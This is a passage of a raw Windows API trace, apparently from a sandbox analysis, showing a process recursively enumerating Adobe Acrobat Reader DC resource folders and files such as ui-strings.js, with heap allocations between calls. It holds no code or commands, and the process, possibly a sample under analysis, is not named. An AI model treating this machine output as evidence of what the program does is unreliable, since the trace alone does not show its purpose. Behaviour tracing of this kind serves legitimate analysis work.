ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.145] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.145] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.145] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0255.145] GetProcessHeap () returned 0xc10000 [0255.145] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.145] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0255.145] GetProcessHeap () returned 0xc10000 [0255.145] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0255.146] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.146] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.146] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.146] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0255.147] GetProcessHeap () returned 0xc10000 [0255.147] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.147] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0255.147] GetProcessHeap () returned 0xc10000 [0255.147] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0255.147] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.148] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.148] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.148] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0255.148] GetProcessHeap () returned 0xc10000 [0255.148] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.148] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0255.148] GetProcessHeap () returned 0xc10000 [0255.148] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0255.150] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.150] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.150] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.150] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0255.150] GetProcessHeap () returned 0xc10000 [0255.150] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.150] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0255.151] GetProcessHeap () returned 0xc10000 [0255.151] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.151] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0255.152] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.152] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.152] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.153] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0255.153] GetProcessHeap () returned 0xc10000 [0255.153] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.153] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0255.154] GetProcessHeap () returned 0xc10000 [0255.154] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0255.155] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.155] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.155] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.155] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0255.155] GetProcessHeap () returned 0xc10000 [0255.155] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.155] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.156] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.156] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0255.156] GetProcessHeap () returned 0xc10000 [0255.156] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0255.156] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x373f, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0255.156] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x16d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0255.156] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x16d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0255.156] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0255.156] GetProcessHeap () returned 0xc10000 [0255.156] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0255.156] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0255.157] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.157] GetProcessHeap () returned 0xc10000 [0255.157] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0255.159] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-computer", cAlternateFileName="MY-COM~2")) returned 1 [0255.159] GetProcessHeap () returned 0xc10000 [0255.159] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0255.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0255.170] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.170] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0255.170] GetProcessHeap () returned 0xc10000 [0255.170] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0255.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0255.173] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, 